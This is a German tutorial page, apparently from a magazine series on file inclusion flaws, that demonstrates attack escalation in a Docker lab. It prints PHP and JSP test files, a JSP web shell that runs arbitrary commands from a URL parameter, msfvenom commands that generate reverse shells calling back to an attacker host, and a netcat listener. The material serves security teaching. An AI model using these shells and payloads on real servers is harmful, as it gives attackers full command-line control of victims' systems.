File Inclusions: kleiner Programmierfehler, fatale Wirkung, Teil 1
Seite 3: Schreiben von Schadcode
Mit Schreibrechten lässt sich zusätzlich Schadcode ausführen. Finden Angreifer einen Weg, Dateien zu schreiben und danach über die Webanwendung auf sie zuzugreifen, testen sie häufig zunächst, ob sie einfachen Code hochladen und ausführen können. Dazu kann eine kleine Anwendung schlicht "Code execution possible" ausgeben.
Nach dem erfolgreichen Test könnte der nächste Schritt sein, auszuprobieren, ob Remote Code Execution funktioniert, also die Rückmeldung eines einzelnen Betriebssystembefehls. Das kann beispielsweise die Ausgabe des aktuellen Verzeichnisses sein. Bei Erfolg kann der Angreifer ein Skript bauen, mit dem er dem Server beliebige Befehle mitgeben kann. Sein letzter Schritt betritt die Remote Shell, mit der er sich über die Kommandozeile vollumfänglich Zugriff auf den Server erschleicht.
Die einzelnen Schritte des Szenarios zeigen die folgenden Beispiele.
Einfache String-Ausgabe
Der initiale Test ist das Hochladen einer Datei und der Versuch, auf den Code zuzugreifen. Bei Erfolg wissen die Angreifer, dass Programmausführung möglich ist.
Das geht in PHP mit folgendem Einzeiler "echo.php":
<?php echo('Code execution possible');?>
beziehungsweise in JSP ĂĽber "echo.jsp":
<% out.println("Code execution possible"); %>
Die Demoanwendung prĂĽft, ob die jeweilige Datei ĂĽber
http://127.0.0.1:8883/lfi.php?page=uploads/echo.php
beziehungsweise
http://127.0.0.1:8881/webapp/?help=echo.jsp
erreichbar ist. Auf die Weise lassen sich ebenso die nachfolgenden Codeschnipsel bestätigen. Bei PHP lässt sich zudem neben der einfachen Textausgabe als Proof of Concept versuchen, die Konfiguration über folgenden Code "check.php" auszulesen:
<?php phpinfo(); ?>
Funktioniert der Test, zeigt die Anzeige neben Informationen wie der PHP-Version insbesondere die Einstellungen zu allow_url_*
. Nach der einfachen Ausführung von Dateien folgt der nächste Schritt: der Test eines Betriebssystembefehls.
Befehle fĂĽrs Betriebssystem
Um zu prĂĽfen, ob das aktuelle Verzeichnis lesbar ist, dient in PHP die Datei "ls.php" mit folgendem Code:
<?php system('ls'); ?>
In JSP erledigt "ls.jsp" die Aufgabe folgendermaĂźen:
<%@page import="java.io.*"%>
<%
Process p = Runtime.getRuntime().exec("ls");
BufferedReader br = new BufferedReader(
new InputStreamReader(
p.getInputStream()));
String line = null;
while((line = br.readLine()) != null){
out.println(line);
}
%>
Eine kleine Erweiterung als "runme.jsp" ergibt eine Remote Code Execution, die sich mit Parametern über die URL ansteuern lässt:
<%@page import="java.io.*"%>
<%
String cmd = request.getParameter("exec");
if (cmd != null)
{
Process p;
p = Runtime.getRuntime().exec(cmd);
InputStreamReader isr = new InputStreamReader(
p.getInputStream());
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line = br.readLine()) != null){
out.println(line);
}
}
%>
Der Code funktioniert mit
http://127.0.0.1:8881/webapp/?help=runme.jsp&exec=<command>
wobei <command>
fĂĽr einen beliebigen Befehl steht.
Den letzten Schritt – der Code für eine Reverse Shell – können Angreifer mit Metasploit erzeugen. Dazu benötigen sie die Ziel-IP des Angreiferservers, mit dem sich das zu generierende Skript verbinden soll. Die IP muss dem Docker-Netz entstammen und lässt sich den Logs entnehmen. Im Beispielnetz ist es die Adresse 172.18.0.5
. Zur Verbindung wird der Port 4444 gewählt. Dabei gilt zu beachten, dass ein potenziell vorhandener Virenscanner den erzeugten Code blocken sollte, da Metasploit-Skriptdateien bekannte Angriffe darstellen.
Unter Metasploit lässt sich PHP-Code für eine Datei "reverse_shell.php" folgendermaßen erzeugen:
msfvenom -a php --platform php -p \
php/reverse_perl lhost=172.18.0.5 lport=4444
und das analoge "reverse_shell.jsp"-Skript ist folgendes:
msfvenom -p java/jsp_shell_reverse_tcp \
lhost=172.18.0.3 lport=4444
Nach dem Zugriff auf den Server des Angreifers ĂĽber docker exec -ti <id> bash
und dem Start eines Netcat-Listener mit nc -nlvp 4444
, ist der direkte Zugriff auf den Server des Opfers beim Anstoßen des Codes im Browser gewährleistet.